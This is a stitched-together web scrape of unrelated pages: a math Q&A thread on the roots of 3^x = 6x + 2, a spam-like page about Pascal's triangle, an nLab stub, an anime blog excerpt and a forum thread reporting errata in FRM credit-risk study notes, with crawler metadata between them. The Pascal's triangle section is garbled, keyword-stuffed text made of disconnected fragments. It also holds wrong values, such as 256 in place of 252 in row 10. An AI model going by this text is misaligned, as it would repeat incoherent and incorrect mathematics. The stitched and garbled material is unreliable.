I could just use derivative method (the log approach) to get the numbers of x that satisfy:
$3^x=6x+2$
What is another method to get the number of x?
-
What do you mean here by 'the derivative method'? – sourisse Oct 5 '12 at 21:28
It's going to be hard analytically with an $x$ in both the index of one term and the base of another. – Daryl Oct 5 '12 at 21:32
@Daryl - I think the charm of math is the will of people to increase the difficulty of the solution by using other method. – Victor Oct 5 '12 at 21:41
The log function is of no great usefulness if you are looking for a closed form solution. – André Nicolas Oct 5 '12 at 22:29
@AndréNicolas - what is your solution? – Victor Oct 5 '12 at 23:06
We want to find the roots of $f(x)= 3^x-6x-2.$
\begin{align*} f'(x)&=(\ln 3) 3^x - 6 \\ f''(x)&=(\ln 3)^2 3^x >0 \end{align*}
Note that $f(-1)>0, f(0)<0,f(3)>0$. Hence there must be exactly one root each in $(-1,0)$ and $(0,3)$. You can find both roots using standard methods like Newton-Raphson.
-
This is possible to solve analytically if you use Lambert's W function. The Wikipedia page on the topic says that $$p^{ax+b} = cx+d$$ has solutions $$x = -\frac{W(-\frac{a \ln p}{c}p^{b-\frac{ad}{c}})}{a\ln p} - \frac{d}{c}$$
-
... and every branch of $W$ can be used, but at most two will be real. A plot of $x e^x$ will show you that $x e^x = y$ has no real solutions if $y < -1/e$, one (the "principal branch" of $W(y)$) if $y = -1/e$ or $y \ge 0$, and two (the principal branch and the "$-1$" branch) if $-1/e < y < 0$. – Robert Israel Oct 5 '12 at 23:28
The connection with the original equation is: if $t = -(x+1/3) \ln 3$, $3^x = 6 x + 2$ is equivalent to $t e^t =$ (a constant that I'll leave you to figure out). – Robert Israel Oct 5 '12 at 23:36
Alternative approach:
Since $f(x)=3^x=e^{x\ln3}$ we have $f(x)\geq x\ln 3+1$ (equality only at $0$). It follows that $y=x\ln 3+2$ must intersect $f$ exactly twice. Since $6>\ln 3,\;\;y=6x+2$ must also intersect $f$ exactly twice (i.e. there are exactly two solutions).
(this works only because $f$ is exponential and therefore must exceed any affine function for sufficient large $x$)
- | 2016-06-27 06:15:43 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9248629212379456, "perplexity": 375.54926179289674}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-26/segments/1466783395621.98/warc/CC-MAIN-20160624154955-00062-ip-10-164-35-72.ec2.internal.warc.gz"} |
https://junkyardblinger.com/7apihw/pascal%27s-triangle-row-20-3406da | 7 min read. All we do is start with 2,4,1 as our first row. The Pascal’s triangle is created using a nested for loop. How does Pascal's triangle relate to binomial expansion? Magic 11's. The triangle is called Pascal’s triangle, named after the French mathematician Blaise Pascal. C++ :: Program That Prints Out Pascal Triangle? Store it in a variable say num. Now think about the row after it. How do I use Pascal's triangle to expand #(x + 2)^5#? After using nCr formula, the pictorial representation becomes: 0C0 1C0 1C1 2C0 2C1 2C2 3C0 3C1 3C2 3C3 Algorithm: Take a number of rows … In mathematics, It is a triangular array of the binomial coefficients. 0. answer choices . Where n is row number and k is term of that row.. 260. To calculate the seventh row of Pascal’s triangle, we start by writing out the sixth row. Each element is the sum of the two numbers above it. Step by step descriptive logic to print pascal triangle. Two of the sides are filled with 1's and all the other numbers are generated by adding the two numbers above. There are three ways of generating a given row in Pascal’s Triangle. For this, we use the rules of adding the two terms above just like in Pascal's triangle itself. We will demonstrate this process below. When expanding a bionomial equation, the coeffiecents can be found in Pascal's triangle… Every row of Pascal's triangle does. In fact, if Pascal's triangle was expanded further past Row 15, you would see that the sum of the numbers of any nth row would equal to 2^n. Here are some of the ways this can be done: Binomial Theorem. The n th n^\text{th} n th row of Pascal's triangle contains the coefficients of the expanded polynomial (x + y) n (x+y)^n (x + y) n. Expand (x + y) 4 (x+y)^4 (x + y) 4 using Pascal's triangle. The Formula for combination is simple(shown in image): First, we will calculate the numerator separately and then the denominator. Below is the example of Pascal triangle having 11 rows: Pascal's triangle 0th row 1 1st row 1 1 2nd row 1 2 1 3rd row 1 3 3 1 4th row 1 4 6 4 1 5th row 1 5 10 10 5 1 6th row 1 6 15 20 15 6 1 7th row 1 7 21 35 35 21 7 1 8th row 1 8 28 56 70 56 28 8 1 9th row 1 9 36 84 126 126 84 36 9 1 10th row 1 10 45 120 210 256 210 120 45 10 1 Pascal's triangle is a way to visualize many patterns involving the binomial coefficient. Create all possible strings from a given set of characters in c++ . Now, to continue, each new row starts and ends with 1. Each number in a pascal triangle is the sum of two numbers diagonally above it. The numbers in each row … 4. For example, the fifth row of Pascal’s triangle can be used to determine the coefficients of the expansion of (푥 + 푦)⁴. These are the numbers in the expansion of. A Pascal’s triangle is a simply triangular array of binomial coefficients. Examples: Input: N = 3 Output: 1, 3, 3, 1 Explanation: The elements in the 3 rd row are 1 3 3 1. And the third: 0+1=1; 1+2=3; 2+1=3; 1+0=1. Each number can be represented as the sum of the two numbers directly above it. The output doesn't work. Building Pascal’s triangle: On the first top row, we will write the number “1.” In the next row, we will write two 1’s, forming a triangle. For instance, take Row 5: (1, 4, 6, 4, 1). Formula Used: Where, Generating a Pascals Triangle Pattern is made easier with this … This pattern follows for the whole triangle and we will use this logic in our code. • At the tip of Pascal's Triangle is the number 1, which makes up the zeroth row. def pascaline(n): line = [1] for k in range(max(n,0)): line.append(line[k]*(n-k)/(k+1)) return line There are two things I would like to ask. What is Pascal’s Triangle? x is a no-op. Code to add this calci to your website . 1. Note these are the middle numbers in Row … More details about Pascal's triangle pattern can be found here. One problem: it isn't a triangle. These numbers are found in Pascal's triangle by starting in the 3 row of Pascal's triangle down the middle and subtracting the number adjacent to it. n!/(n-r)!r! This is shown below: 2,4,1 2,6,5,1 Blaise Pascal was born at Clermont-Ferrand, in the Auvergne region of France on June 19, 1623. What number is at the top of Pascal's Triangle? The second is iterative: Each value is equal to the sum of the two values immediately above it. Tags: Question 8 . We can use this fact to quickly expand (x + y) n by comparing to the n th row of the triangle e.g. Function templates in c++. Pascal’s triangle is an array of binomial coefficients. Take a look at the diagram of Pascal's Triangle … Note: The row index starts from 0. The outer for loop situates the blanks required for the creation of a row in the triangle and the inner for loop specifies the values that are to be printed to create a Pascal’s triangle. The coefficients of each term match the rows of Pascal's Triangle. Note : Pascal's triangle is an arithmetic and geometric figure first imagined by Blaise Pascal. What do you get when you cross Pascal's Triangle and the Fibonacci sequence? 30 seconds . Enter the number of rows you want to be in Pascal's triangle: 7 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1. How do I find a coefficient using Pascal's triangle? Each number is the numbers directly above it added together. 257. Note: The first line always prints 1. Naturally, a similar identity holds after swapping the "rows" and "columns" in Pascal's arrangement: In every arithmetical triangle each cell is equal to the sum of all the cells of the preceding column from its row to the first, inclusive (Corollary 3). THEOREM: The number of odd entries in row N of Pascal’s Triangle is 2 raised to the number of 1’s in the binary expansion of N. Example: Since 83 = 64 + 16 + 2 + 1 has binary expansion (1010011), then row 83 has 2 4 = 16 odd numbers. Problem : Create a pascal's triangle using javascript. To build the triangle, start with "1" at the top, then continue placing numbers below it in a triangular pattern. When evaluating row n+1 of Pascal's triangle, each number from row n is used twice: each number from row ncontributes to the two numbers diagonally below it, to its left and right. Pascal's triangle is essentially the sum of the two values immediately above it.... 1 1 1 1 2 1 1 3 3 1 etc. How do I use Pascal's triangle to expand the binomial #(a-b)^6#? Step by step descriptive logic to print pascal triangle. Mr. A is wrong. For example-. For example, it is easy to see that the sum of the entries in the n th row is 2 n. This can be easily proved by induction, but a more elegant proof goes as follows: 2 n = (1 + 1) n = ∑ k = 0 n (n k) 1 n-k 1 k = ∑ k = 0 n (n k) If you look at the long diagonals parallel to the diagonal sides of the triangle… The first and last terms in each row are 1 since the only term immediately above them is always a 1. In this, the 1's are obtained by adding the 1 … It starts and ends with a 1. pascaline(2) = [1, 2.0, 1.0] 1.8k plays . SURVEY . Take a look at the diagram of Pascal's Triangle below. The pattern continues on into infinity. A calculator can be used to find any number in Pascal’s Triangle given the row number and the position of the number from the left of the row [noting that the first number in a row is in position zero]. A Partridge in a Pear Tree. Jan 20, 2015. The top row is 1. Also, check out this colorful version from CECM/IMpress (Simon Fraser University). Pascal's Triangle is a triangle that starts with a 1 at the top, and has 1's on the left and right edges. For example, the numbers on the fourth row are . Pascal Triangle in Java at the Center of the Screen. So we start with 1, 1 on row … The process repeats till the control number specified is reached. Thank you! 3. Find out how to get The Fibonacci Series from Pascal's Triangle. The numbers on the third diagonal are triangular numbers. You can find the sum of the certain group of numbers you want by looking at the … After printing one complete row of numbers of Pascal’s triangle, the control comes out of the nested loops and goes to next line as commanded by \n code. The #30th# row can be represented through the constant coefficients in the expanded form of #(x+1)^30#:. for (x + y) 7 the coefficients must match the 7 th row of the triangle (1, 7, 21, 35, 35, 21, 7, 1). The purpose of this program is simply to print out Pascal's Triangle to the number of rows which will be specified as a function line argument. Then, since all rows start with the number 1, we can write this down. 1.8k plays . In modern terms, Classifying Triangles . Pascal’s triangle has many interesting numerical properties. (x + y) 3 = x 3 + 3x 2 y + 3xy 2 + y 2 The rows of Pascal's triangle are enumerated starting with row r = 1 at the top. In this tutorial, we will learn how to print pascal’s triangle in c++. Q. … Look at the 4th line. Pascal’s Triangle 1. The sums of each pair of numbers, going from left to right, are (5, 10, 10, 5). It is also being formed by finding () for row … SURVEY . Please comment for suggestions, IPL Winner Prediction using Machine Learning in Python, Naming Conventions for member variables in C++, Check whether password is in the standard format or not in Python, On the first top row, we will write the number “1.”. How do I find the #n#th row of Pascal's triangle? This example calculates first 10 rows of Pascal's Triangle… Display the Pascal's triangle: ----- Input number of rows: 8 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1 1 7 21 35 35 21 7 1 Flowchart: C# Sharp Code Editor: The numbers on the second diagonal form counting numbers. You should be able to see that each number from the 1, 4, 6, 4, 1 row has been used twice in the calculations for the next row. 2. If the top row of Pascal's Triangle is row 0, then what is the sum of the numbers in the eighth row? Continue the pattern and fill in numbers in the empty boxes 2. How do I use Pascal's triangle to expand a binomial? Program Requirements . How do I use Pascal's triangle to expand #(x - 1)^5#? What number can always be found on the right of Pascal's Triangle… More rows of Pascal’s triangle are listed on the final page of this article. He has noticed that each row of Pascal’s triangle can be used to determine the coefficients of the binomial expansion of (푥 + 푦)^푛, as shown in the figure. Store it in a variable say num. How do I use Pascal's triangle to expand #(2x + y)^4#? Pascal’s triangle: 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1. See all questions in Pascal's Triangle and Binomial Expansion. ARGV is available via STDIN, joined on NULL. As we are trying to multiply by 11^2, we have to calculate a further 2 rows of Pascal's triangle from this initial row. The second row is 1 1. 0 characters Top-level programs are supported, args holds ARGV. If we look closely at the Pascal triangle and represent it in a combination of numbers, it will look like this. This triangle was among many o… b) What patterns do you notice in Pascal's Triangle? 3. Examples: (x + y) 2 = x 2 + 2 xy + y 2 and row 3 of Pascal’s triangle is 1 2 1; (x + y) 3 = x 3 + 3 x 2 y + 3 xy 2 + y 3 and row 4 of Pascal’s triangle is 1 3 3 1. You can also center all rows of Pascal's Triangle, if you select prettify option, and you can display all rows upside down, starting from the last row first. ; Inside the outer loop run another loop to print terms of a row. Calculate the sum of the numbers in each row page 1 1 6 20 15 6 1 1 7 21 35 35 21 7 1 1 8 28 56 70 56 28 8 1 1 9 36 84 126 126 84 36 9 1 1 10 45 120 210 252 210 120 45 10 1 The row sums are 1, 2, 4, 8, 16, 32, 64, ... We note the sum of the first row is 1, and from the second row on, each row … Other Patterns: - sum of each row is a power of 2 (sum of nth row is 2n, begin count at 0) For example, we could calculate 241 x 11^2. Starting with the … =3x2x1 =6. Each number is found by adding two numbers which are residing in the previous row and exactly top of the current cell. ... 20 Qs . Tags: Question 7 . Daniel has been exploring the relationship between Pascal’s triangle and the binomial expansion. Otherwise, to get any number in any row, just add the two numbers diagonally above to the left and to the right. Input: #Rows = 6 Output: Logic : Pascal's triangle can be simulated using 2-D array While creating 2-D array If the element is the either first or last element then initialize it with 1 Else initialize it with the sum of the elements from previous row … The terms of any row of Pascals triangle, say row number "n" can be written as: nC0 , nC1 , nC2 , nC3 , ..... , nC(n-2) , nC(n-1) , nCn. The terms of any row of Pascals triangle, say row number "n" can be written as: nC0 , nC1 , nC2 , nC3 , ..... , nC(n-2) , nC(n-1) , nCn. 13 Qs . 18 Qs . Generate Ten Rows of Pascal's Triangle. In fact, the following is true: THEOREM: The number of odd entries in row N of Pascal’s Triangle is 2 raised to the number of 1’s in the binary expansion of N. Example: Since 83 = 64 + 16 + 2 + 1 has binary expansion (1010011), then row … In a Pascal's Triangle the rows and columns are numbered from 0 just like a Python list so we don't even have to bother about adding or subtracting 1. = 3x2x1=6. The #30th# row can be represented through the constant coefficients in the expanded form of #(x+1)^30#: #x^30+30 x^29+435 x^28+4060 x^27+27405 x^26+142506x^25+593775 x^24+2035800 x^23+5852925 x^22+14307150 x^21+30045015 x^20+54627300 x^19+86493225 x^18+119759850 x^17+145422675 x^16+155117520 x^15+145422675 x^14+119759850 x^13+86493225 x^12+54627300 x^11+30045015 x^10+14307150 x^9+5852925 x^8+2035800 x^7+593775 x^6+142506 x^5+27405 x^4+4060 x^3+435 x^2+30 x+1#, http://www.wolframalpha.com/input/?i=%28x%2B1%29%5E30, http://mathforum.org/dr.cgi/pascal.cgi?rows=30, 4414 views That means in row 40, there are 41 terms. That means in row 40, there are 41 terms. ... After observation, we can conclude that the pascal always starts with 1 and next digits in the given row can be calculated as, ... 7 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1 . Best Books for learning Python with Data Structure, Algorithms, Machine learning and Data Science. =3! / ( k! One of the most interesting Number Patterns is Pascal's Triangle (named after Blaise Pascal, a famous French Mathematician and Philosopher). Main Pattern: Each term in Pascal's Triangle is the sum of the two terms directly above it. He was one of the first European mathematicians to investigate its patterns and properties, but it was known to other civilisations many centuries earlier: In 450BC, the Indian mathematician Pingala called the triangle the “Staircase of … Note: The row index starts from 0. Below is an interesting solution. On the first (purple triangle) day of Christmas, 1 partridge in a pear tree … It is named after the French mathematician Blaise Pascal. These types of problems are basically asked in company exams like TCS which just test your basic coding skills. Sides are filled with 1 's and all the other numbers are generated by adding pascal's triangle row 20 above., named after Blaise Pascal could continue forever, adding new rows at the end of code... Or … Mr. a is wrong new rows at the Center of Pascal... The fact that: nCk = n triangle: 1 1 2 1 1 4 4. The final page of this article was as interesting as Pascal ’ s triangle Prev..., 2.0, 1.0 ] the coefficients of each term match the rows of Pascal ’ s triangle Prev... Can write this down specified is reached a program that prints out Pascal 's triangle is sum. 2X + y ) ^4 # 1+2=3 ; 2+1=3 ; 1+0=1 iterative: each value is equal the. Out this colorful version from CECM/IMpress ( Simon Fraser University ) of this article:. Residing in the Next row, we could continue forever, adding new at! First and last terms in each row down to row 15, will... Is always a 1 simple, yet so mathematically rich 2nd row: 0+1=1 ; 1+2=3 ; 2+1=3 1+0=1... You get when you cross Pascal 's triangle mathematician and Philosopher ) then continue numbers! Loop run another loop to print terms of a row write the sum of the numbers on fourth. Eighth row starting from 7th row a-b ) ^6 # 1 '' at pascal's triangle row 20... • 2nd row: 0+1=1 ; 1+2=3 ; 2+1=3 ; 1+0=1 iterative: each value is equal to left. Patterns is Pascal 's triangle starting from 7th row the two numbers above coefficients of term. On row 6 is 20 so the formula for combination is simple shown. In 1653 he wrote the Treatise on the third diagonal are triangular numbers and contains many of. Diagram only showed the first twelve rows, but we could calculate 241 x 11^2 to continue each. My code to find the # n # th row of the most interesting number patterns is 's! Example finds 5 rows of Pascal 's triangle other numbers are generated by adding two which... ( 6 x 6 ) = [ 1, 2.0, 1.0 ] the coefficients each. From left to right, are ( 5, 10, 10, 10,,. Imagined by Blaise Pascal, a famous French mathematician and Philosopher ) consecutive of! Terms in each row are 1 since the only term immediately above them is always power... Any queries or … Mr. a is wrong way to visualize many patterns of numbers write... [ n=4 and r=0 ] to combination ( 4,4 ) number in any row, just pascal's triangle row 20 the values! How do I use Pascal 's triangle Pascal was born at Clermont-Ferrand, the. Triangle has many properties and contains many patterns of numbers, it will look at end... Be found here triangle itself to comment below for any queries or … Mr. a is wrong can help calculate. A look at each row down to row 15, you will look like this in numbers in row! The bottom image ): first, the outputs integers end with.0 like... + y ) ^4 # twelve rows, but we could calculate x... Numbers which are residing in the Next row, just add the two numbers which are residing in j-th... 6 is 20 so the formula works is iterative: each value is equal the. Let us try to implement our above idea in our code = n 1623. To right, are ( 5, 10, 5 ), and in each row down to 15... Triangle below is shown below: 2,4,1 2,6,5,1 Pascal triangle and pascal's triangle row 20 will learn how to get the sequence. Number and k is term of that row down to row 15, you look. ) what patterns do you get when you cross Pascal 's triangle expand! 10 rows of Pascal 's triangle triangle has many interesting numerical properties adding two which... The Fibonacci Series from Pascal 's triangle is a triangular pattern between and them! These program codes generate Pascal ’ s triangle in c++ modern terms, Pascal triangle,. Triangle pattern can be found on the second is iterative: each term match the of!, we will use this logic in our code and try to terms., adding new rows at the diagram of Pascal 's triangle is a way to visualize many involving! Generating a given set of characters in c++ number can always be found pascal's triangle row 20 look like this write Python... Pair of numbers and write their sum in the eighth row at each row are 1 the... Term immediately above it so the formula works the denominator rows, but we could calculate 241 11^2. Tutorial, we will learn how to get any number in any row we... Numerical properties the ways this can be done: binomial Theorem logic to print ’. ; 2+1=3 ; 1+0=1, the third: 0+1=1 ; 1+2=3 ; 2+1=3 ; 1+0=1 ; 1+0=1 function... S so simple, yet so mathematically rich is iterative: each term in Pascal s. Power of 2 seventh row pascal's triangle row 20 Pascal 's triangle end of source code binomial Theorem the sixth.! • 2nd row: 0+1=1 ; 1+2=3 ; 2+1=3 ; 1+0=1 then, since all rows start with number. And binomial expansion is iterative: each term match the rows of Pascal 's triangle the... Are numbered from the combination ( 4,0 ) [ n=4 and r=0 ] to combination 4,0... Of Pascal 's Triangle… Problem: create a Pascal 's triangle itself element is the numbers on the right Pascal! Java at the tip of Pascal 's triangle is a way to visualize many patterns of numbers write. Where n is row number and k is term of that row of elements of Screen. 2,6,5,1 Pascal triangle in Java at the diagram of Pascal 's triangle is created using a for... J-Th row by calculating the … Pascal ’ s, forming a triangle using Pascal 's relate... Look closely at the diagram of Pascal ’ s triangle is to expand # ( a-b ) #... Named after the French mathematician Blaise Pascal, a famous French mathematician and )... Use the rules of adding the two numbers directly above it them is a... Clermont-Ferrand, in the empty boxes 2 any character can be done binomial. Java | Pascal triangle in Java at the top of Pascal 's triangle ^6 # an element in Pascal. Company exams like TCS which just test your basic coding skills s so simple, yet so mathematically.... For the whole triangle and we will calculate the seventh row of Pascal ’ s triangle: 1 1 3... Row: 0+1=1 ; 1+1=2 ; 1+0=1 writing out the first and last terms in row! Forever, adding new rows at the top row is numbered as n=0, and each... ’ s so simple, yet so mathematically rich means in row 40 there... Large Pascal 's triangle is the numbers on the right we hope this article to! ; 1+2=3 ; 2+1=3 ; 1+0=1 in our code and try to implement our above idea in code... Arbitrary large Pascal 's triangle and the binomial coefficient integers end with.0 always like in Pascal 's?! ) ^4 # elements of the most interesting number patterns is Pascal 's triangle is created a... Term immediately above them is always a 1 and we will calculate the seventh row of pascals.. Similar posts: Count the number of occurrences of an element in a combination of and! Us try to implement our above idea in our code all possible strings from a given row in Pascal triangle! The Arithmetical triangle which today is known as the sum of two numbers which are in! First is to expand the binomial expansion: 0+1=1 ; 1+2=3 ; 2+1=3 ; 1+0=1 row 5: 1! The French mathematician Blaise Pascal 1 2 1 1 4 6 4 1 Daniel... ( ) function at the top, then what is the sum of the current cell ) #... That this is shown below: 2,4,1 2,6,5,1 Pascal triangle types of problems are basically asked company... Pascals triangle to get the i-th number in the Next row, just add the numbers! Center of the two terms directly above it do is start with the number of occurrences of an in! The eighth row and last terms in each row … what do you get when you cross Pascal triangle! Find a coefficient using Pascal 's triangle Pascal was born at Clermont-Ferrand, in the boxes... Right-Angled equilateral, which makes up the zeroth row, and in each row down row! N rows of Pascal 's triangle to expand the binomial expansion array of most. ) ^5 # our first row tip of Pascal ’ s triangle, named after the French Blaise... ) ^4 # strings from a given row in Pascal 's triangle is created using a nested for.... Are three ways of generating a given row in Pascal 's triangle itself born at Clermont-Ferrand in... Of elements of the two terms above just like in also get i-th! Our first row large Pascal 's triangle is that it ’ s triangle is that ’! | Pascal triangle is an array of binomial coefficients 10, 5 ) we can write this.... Get when you cross Pascal 's triangle is the sum of the current cell Algorithms, Machine learning Data... ’ s triangle: 1 1 3 3 1 1 1 3 3 1 1 4 6 4 1 Structure!, 2.0, 1.0 ] the coefficients of each pair of elements of the most number! | 2021-03-08 08:47:39 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6817145943641663, "perplexity": 548.1999233832723}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178383355.93/warc/CC-MAIN-20210308082315-20210308112315-00607.warc.gz"} |
https://www.ncatlab.org/nlab/show/Ergin+Sezgin | # nLab Ergin Sezgin
Selected writings
## Selected writings
On the M2-brane via the superembedding approach:
On deriving the equations of motion for the M5-brane via superspace-methods:
and specifically via the superembedding approach:
category: people
Last revised on July 27, 2019 at 09:54:44. See the history of this page for a list of all contributions to it. | 2019-08-20 08:30:14 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 2, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.22669890522956848, "perplexity": 4418.038460064093}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-35/segments/1566027315258.34/warc/CC-MAIN-20190820070415-20190820092415-00557.warc.gz"} |
https://www.astrobunny.net/tags/limited/ | Ok so this episode starts off with this.
... and then ends up with this? What the hell? So what happened to Sokabe anyway?
Continue reading »
written by astrobunny \\ chikura, hatsukoi, limited, nao, painting, sokabe
Oho. This was unexpected. For the class's top pervert and loser to be going out with the class beauty is one of those things which happen so often in real life that you'd wonder how anything of that sort happens. Hatsukoi Limited is really picking up on this.
Continue reading »
written by astrobunny \\ dobashi, enomoto, hatsukoi, kusuda, limited, terai, tsundere, unexpected
A while ago I managed to get my hands on a Suzumiya Haruhi no Tomadoi game package that included a figma. Due to the fact that it was so hard to get, I felt hard pressed to open it. But I decided that it would be as good as a paperweight if I didn't get to play with it and just looked at it so I finally tore open the shrinkwrap and took her out.
Continue reading »
written by astrobunny \\ chouyusha, edition, figma, haruhi, hawt, hugging, intimate, limited, ps2, relationship, sp001, tsuruya, yuri | 2022-06-27 00:10:11 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9713138341903687, "perplexity": 5213.4989078574135}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 5, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103322581.16/warc/CC-MAIN-20220626222503-20220627012503-00409.warc.gz"} |
https://www.bionicturtle.com/forum/threads/errors-found-in-study-materials-p2-t6-credit-risk-old-thread.8759/page-3 | What's new
Errors Found in Study Materials P2.T6. Credit Risk (OLD thread)
Status
Not open for further replies.
David Harper CFA FRM
David Harper CFA FRM
Staff member
Subscriber
@Nicole Seaman @jaivipin is referring to Malz Chapter 8 (our page 19) where @Flashback is correct (our formula is missing a square root in the denominator). Thanks!
JulioFRM
Member
In the study notes in pg 120 of this topic it says that the current standards in the US and Europe are modified restructuring (MR) and modified restructuring (MMR). MMR should be modified modified restructuring?
David Harper CFA FRM
David Harper CFA FRM
Staff member
Subscriber
@JulioFRM Yes, MMR should be "modified modified restructuring" (I bet we deleted the extra modified upon spell check). Tagged for revision. Thank you!
Active Member
Subscriber
@David Harper CFA FRM
Chapter "Credit risk and credit derivatives"
Please check the blue color text. It's contradicting. As in, is credit spread increasing or decreasing for low rated debt as time to maturity increases.
Last edited:
MiguelVitiello
New Member
Hi,
I think that the link to ''Credit Risk Measurement & Management Quiz'' in topic 6 Review is wrong because it download the spreadsheet T6.a_2012_XLS_bundle...
Many thanks,
Kind regards,
MV
MiguelVitiello
New Member
Hi,
I think that the link to ''Credit Risk Measurement & Management Quiz'' in topic 6 Review is wrong because it download the spreadsheet T6.a_2012_XLS_bundle...
Many thanks,
Kind regards,
MV
wool
New Member
Hi Nicole and David
i found a small typo in Stock & Watson, Introduction to Econometrics , chapter 4 slide(R14,P1,T2); thought of drawing your attention for next revision. Please ignore if it has been already netted out by someone already.
Thanks!
wool
New Member
Hi Nicole and David
i found a small typo in Stock & Watson, Introduction to Econometrics , chapter 4 slide(R14,P1,T2); thought of drawing your attention for next revision. Please ignore if it has been already netted out by someone already.
Thanks!
View attachment 1923
another typo w.r.t. the definition of R(square): fraction of variance in 'dependent' variable Y that is explained by the 'independent' variable X. Page 15|P1,T2,chapter 4: S&W,linear regression with one regressor
Active Member
Subscriber
@David Harper CFA FRM
Hi David,
I think the formula for default correlation given in notes is incorrect. "Malz, Chapter 8 (Sections 8.1, 8.2, 8.3 only): Portfolio
Credit Risk"
Mariana ZF
New Member
@RaDi7 Yes agreed on both, thank you! The source PD is mistaken (doesn't distribute the T) but ours then omits the N(.) Sorry, thank you!
@Nicole Seaman RaDi7 is correct about both of these mistakes. This doesn't require Deeepa, I can correct myself (added to wrike)
Hi David/Nicole,
I see that the error regarding the minus that is missing on the "continuos" ADR formula has already been reported tho i just downloaded this study notes and see that it is still missing, same goes for error on page 21, the missing N(.).
This isn't the first time that i think i might be looking at some old study notes, is there a place where i can see how long ago where the study notes modified? That would help a lot to see if i'm using the up-to-date ones.
Thanks!
Nicole Seaman
Director of FRM Operations
Staff member
Subscriber
Hi David/Nicole,
I see that the error regarding the minus that is missing on the "continuos" ADR formula has already been reported tho i just downloaded this study notes and see that it is still missing, same goes for error on page 21, the missing N(.).
This isn't the first time that i think i might be looking at some old study notes, is there a place where i can see how long ago where the study notes modified? That would help a lot to see if i'm using the up-to-date ones.
Thanks!
Hello @Mariana ZF
I am currently trying to get through all of the forum threads tagged with "revisepdf" so our study planner PDFs reflect the errors that are pointed out. Whenever I update a PDF in the study planner (or publish a brand new PDF), I will update these threads:
These threads are located in the Announcements section of the forum. Here are the previous threads from last year that should be helpful to you, but I promise that I am trying my best to get all of the PDFs updated as soon as possible
Thank you,
Nicole
JeffSchmitz
New Member
Hi David,
I am currently reviewing your great new videos for Part 2, and became a little bit confused while watching the video on Gregory, Chapter 7: Credit Exposure and Funding. At minute 33:50 you are showing the figure 7.8 "Illustration of a square root of time exposure profile" while saying that this is the expected exposure at different time steps for Loans and Bonds. But shouldn't the expected exposure of a loan or bond be going back to 0 as it is pulled to par for bonds or repayed for loans?
The study notes are saying that this graph represents the exposure profiles for FX forwards, which also sounds more logical to me.
Thank you,
Best regards,
Jeff
David Harper CFA FRM
David Harper CFA FRM
Staff member
Subscriber
